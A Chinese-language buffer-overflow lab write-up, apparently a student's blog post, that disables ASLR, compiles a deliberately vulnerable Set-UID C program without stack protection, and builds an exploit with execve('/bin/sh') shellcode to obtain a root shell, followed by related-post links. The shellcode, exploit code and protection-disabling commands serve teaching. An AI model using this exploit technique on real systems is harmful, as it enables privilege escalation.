缓冲区溢出实验

1.什么是缓冲区溢出

​ 缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的情况。这一漏洞可以被恶意用户利用来改变程序的流控制,甚至执行代码的任意片段。这一漏洞的出现是由于数据缓冲器和返回地址的暂时关闭,溢出会引起返回地址被重写。

2.实验准备

系统用户名 shiyanlou

实验楼提供的是 64 位 Ubuntu linux,而本次实验为了方便观察汇编语句,我们需要在 32 位环境下作操作,因此实验之前需要做一些准备。

输入命令安装一些用于编译 32 位 C 程序的软件包:

sudo apt-get update
sudo apt-get install -y lib32z1 libc6-dev-i386 lib32readline6-dev
sudo apt-get install -y python3.6-gdbm gdb

3.实验步骤

1、Ubuntu 和其他一些 Linux 系统中,使用地址空间随机化来随机堆(heap)和栈(stack)的初始地址,这使得猜测准确的内存地址变得十分困难,而猜测内存地址是缓冲区溢出攻击的关键。因此本次实验中,我们使用以下命令关闭这一功能:

sudo sysctl -w kernel.randomize_va_space=0

2、此外,为了进一步防范缓冲区溢出攻击及其它利用 shell 程序的攻击,许多shell程序在被调用时自动放弃它们的特权。因此,即使你能欺骗一个 Set-UID 程序调用一个 shell,也不能在这个 shell 中保持 root 权限,这个防护措施在 /bin/bash 中实现。

linux 系统中,/bin/sh 实际是指向 /bin/bash/bin/dash 的一个符号链接。为了重现这一防护措施被实现之前的情形,我们使用另一个 shell 程序(zsh)代替 /bin/bash。下面的指令描述了如何设置 zsh 程序:

sudo su
cd /bin
rm sh
ln -s zsh sh
exit

3、输入命令 linux32 进入32位linux环境。此时你会发现,命令行用起来没那么爽了,比如不能tab补全了,输入 /bin/bash 使用bash:


一般情况下,缓冲区溢出会造成程序崩溃,在程序中,溢出的数据覆盖了返回地址。而如果覆盖返回地址的数据是另一个地址,那么程序就会跳转到该地址,如果该地址存放的是一段精心设计的代码用于实现其他功能,这段代码就是 shellcode。

观察以下代码:

#include <stdio.h>
int main()
{
char *name[2];
name[0] = "/bin/sh";
name[1] = NULL;
execve(name[0], name, NULL);
}

本次实验的 shellcode,就是刚才代码的汇编版本:

\x31\xc0\x50\x68"//sh"\x68"/bin"\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80

/tmp 目录下新建一个 stack.c 文件:

cd /tmp
vim stack.c

i 键切换到插入模式,再输入如下内容:

复制代码如果出现缩进混乱可先在 Vim 执行 :set paste 再按 i 键编辑。

/* stack.c */

/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h> int bof(char *str)
{
char buffer[12]; /* The following statement has a buffer overflow problem */
strcpy(buffer, str); return 1;
} int main(int argc, char **argv)
{
char str[517];
FILE *badfile; badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str); printf("Returned Properly\n");
return 1;
}

通过代码可以知道,程序会读取一个名为“badfile”的文件,并将文件内容装入“buffer”。

编译该程序,并设置 SET-UID。命令如下:

sudo su
gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c
chmod u+s stack
exit

GCC编译器有一种栈保护机制来阻止缓冲区溢出,所以我们在编译代码时需要用 –fno-stack-protector 关闭这种机制。 而 -z execstack 用于允许执行栈。

-g 参数是为了使编译后得到的可执行文档能用 gdb 调试。


我们的目的是攻击刚才的漏洞程序,并通过攻击获得 root 权限。

/tmp 目录下新建一个 exploit.c 文件,输入如下内容:

/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h> char shellcode[] =
"\x31\xc0" //xorl %eax,%eax
"\x50" //pushl %eax
"\x68""//sh" //pushl $0x68732f2f
"\x68""/bin" //pushl $0x6e69622f
"\x89\xe3" //movl %esp,%ebx
"\x50" //pushl %eax
"\x53" //pushl %ebx
"\x89\xe1" //movl %esp,%ecx
"\x99" //cdq
"\xb0\x0b" //movb $0x0b,%al
"\xcd\x80" //int $0x80
; void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile; /* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517); /* You need to fill the buffer with appropriate contents here */
strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??"); //在buffer特定偏移处起始的四个字节覆盖sellcode地址
strcpy(buffer + 100, shellcode); //将shellcode拷贝至buffer,偏移量设为了 100 /* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}

或者也可以直接下载代码:

wget http://labfile.oss.aliyuncs.com/courses/231/exploit.c

注意上面的代码,\x??\x??\x??\x?? 处需要添上 shellcode 保存在内存中的地址,因为发生溢出后这个位置刚好可以覆盖返回地址。而 strcpy(buffer+100,shellcode); 这一句又告诉我们,shellcode 保存在 buffer + 100 的位置。下面我们将详细介绍如何获得我们需要添加的地址。

现在我们要得到 shellcode 在内存中的地址,输入命令进入 gdb 调试:

gdb stack
disass main

结果如图:

esp 中就是 str 的起始地址,所以我们在地址 0x080484ee 处设置断点。

地址可能不一致,请根据你的显示结果自行修改。

接下来的操作:

# 设置断点
b *0x080484ee
r
i r $esp

最后获得的这个 0xffffcfb0 就是 str 的地址。

q 键,再按 y 键可退出调试。

根据语句 strcpy(buffer + 100,shellcode); 我们计算 shellcode 的地址为 0xffffcfb0 + 0x64 = 0xffffd014

实际操作中你的地址和我这里的地址可能不一样,需要根据你实际输出的结果来计算。

可以使用 十六进制加法计算器 计算。

现在修改 exploit.c 文件,将 \x??\x??\x??\x?? 修改为计算的结果 \x14\xd0\xff\xff,注意顺序是反的。

然后,编译 exploit.c 程序:

gcc -m32 -o exploit exploit.c

先运行攻击程序 exploit,再运行漏洞程序 stack,观察结果:

whoami 是输入的命令,不是输出结果。

可见,通过攻击,获得了root 权限!

如果不能攻击成功,提示”段错误“,那么请重新使用 gdb 反汇编,计算内存地址。

4.练习

1、按照实验步骤进行操作,攻击漏洞程序并获得 root 权限。

2、通过命令 sudo sysctl -w kernel.randomize_va_space=2 打开系统的地址空间随机化机制,重复用 exploit 程序攻击 stack 程序,观察能否攻击成功,能否获得root权限。

3、将 /bin/sh 重新指向 /bin/bash(或/bin/dash),观察能否攻击成功,能否获得 root 权限。

以上练习请在实验楼环境完成并截图。


在我的虚拟机中完成实验

20191310Lee_yellow缓冲区溢出实验的更多相关文章

  1. 2018-2019-2 20165232《网络对抗技术》Exp1 缓冲区溢出实验

    2018-2019-2 20165232<网络对抗技术>Exp1 缓冲区溢出实验 实验点1:逆向及Bof基础实践 实践任务 用一个pwn1文件. 该程序正常执行流程是:main调用foo函 ...

  2. 2018-2019-2 20165225《网络对抗技术》Exp1 缓冲区溢出实验

    2018-2019-2 20165225<网络对抗技术>Exp1 缓冲区溢出实验 声明 虽然老师在邮箱中要求要把虚拟机名改为个人名字缩写,但是我的kali好像不是很听话...重启数次也没用 ...

  3. Kali学习笔记33:Linux系统缓冲区溢出实验

    之前做过一个Windows应用SLmail的缓冲区溢出的实验 这次来做一个Linux平台的缓冲区溢出实验: 缓冲区溢出是什么? 学过汇编的应该知道,当缓冲区边界限制不严格时,由于变量传入畸形数据或程序 ...

  4. Kali学习笔记21:缓冲区溢出实验(漏洞发现)

    上一篇文章,我已经做好了缓冲区溢出实验的准备工作: https://www.cnblogs.com/xuyiqing/p/9835561.html 下面就是Kali虚拟机对缓冲区溢出的测试: 已经知道 ...

  5. 使用Linux进行缓冲区溢出实验的配置记录

    在基础的软件安全实验中,缓冲区溢出是一个基础而又经典的问题.最基本的缓冲区溢出即通过合理的构造输入数据,使得输入数据量超过原始缓冲区的大小,从而覆盖数据输入缓冲区之外的数据,达到诸如修改函数返回地址等 ...

  6. 2017-2018-2 20179215《网络攻防实践》seed缓冲区溢出实验

    seed缓冲区溢出实验 有漏洞的程序: /* stack.c */ /* This program has a buffer overflow vulnerability. */ /* Our tas ...

  7. SEED缓冲区溢出实验笔记

    缓冲区溢出实验(Linux 32位) 参考教程与材料:http://www.cis.syr.edu/~wedu/seed/Labs_12.04/Software/Buffer_Overflow/ (本 ...

  8. SEED缓冲区溢出实验笔记——Return_to_libc

    参考:http://www.cis.syr.edu/~wedu/seed/Labs_12.04/Software/Return_to_libc/    http://drops.wooyun.org/ ...

  9. 缓冲区溢出实验 1 strcpy

    实验代码 https://github.com/TouwaErioH/security/tree/master/stack%20overflow 实验目的 Buffer over flow 漏洞利用实 ...

随机推荐

  1. math.h库详解

    sin(double) cos(double) tan(double) 分别返回正弦,余弦,正切 #include<iostream> #include<math.h> usi ...

  2. 后期静态绑定在PHP中的使用

    什么叫后期静态绑定呢?其实我们在之前的文章PHP中的static中已经说过这个东西了.今天我们还是再次深入的理解一下这个概念. 首先,我们通过一段代码来引入后期静态绑定这一概念: class A { ...

  3. 接口测试-Mock测试方法

    接口测试-Mock测试方法一.关于Mock测试1.什么是Mock测试?Mock 测试就是在测试过程中,对于某些不容易构造(如 HttpServletRequest 必须在Servlet 容器中才能构造 ...

  4. Charles抓包工具断点修改返回内容

    在测试过程中,往往需要让服务器返回指定的内容,测试一些特殊情况.例如列表内容为空.数据异常的情况等.如果通过操作服务器配合构造相应的数据会比较麻烦,甚至不好构造数据.此时,可以使用Charles的断点 ...

  5. Java安全之 ClassLoader类加载器

    Java安全之 ClassLoader类加载器 0x00 前言 前面这里抛出一个问题,Java到底是什么类型的编程语言?是编译型?还是解释型?在这个问题是其实一直都都有疑惑,如果说是解释型语言的话,那 ...

  6. POJ3734-Blocks【EGF】

    正题 题目链接:http://poj.org/problem?id=3734 题目大意 用思种颜色给\(n\)个格子染色,要求前两种颜色出现偶数次,求方案. \(1\leq T\leq 100,1\l ...

  7. 什么鬼?你还搞不懂json和字典的区别??

    现在自动化培训烂大街,是个人都能说的上几个框架,面试如果问框架相关问题,求职者只需一瓶 82 年的雪碧,会吹的让你怀疑人生!所以面试官为了更清楚的知道你是停留在表面上的花拳绣腿还是有扎实的基础,就不会 ...

  8. WPF进阶技巧和实战06-控件模板

    逻辑树和可视化树 System.Windows.LogicalTreeHelper System.Windows.Media.VisualTreeHelper 逻辑树类(LogicalTreeHelp ...

  9. LR Socket接收超时TPS上不去解决方法

    在一次做项目中,由于Socket协议接收的报文会有不定长度,基本每次都会有变化,在data.ws 接收buf1有固定长度,这是在接收的实时报文会有长度不一致的问题.这时LR默认会去与接收的报文的长度及 ...

  10. SAE助力南瓜电影7天内全面Severless

    作者:李刚(寻如),阿里云解决方案架构师 南瓜电影APP是国内领先的专注于影视精品化运营的垂直类视频产品,在移动互联网.IPTV.OTT等客户端,面向广大中产阶级精英群体,提供有异于院线及其他视频平台 ...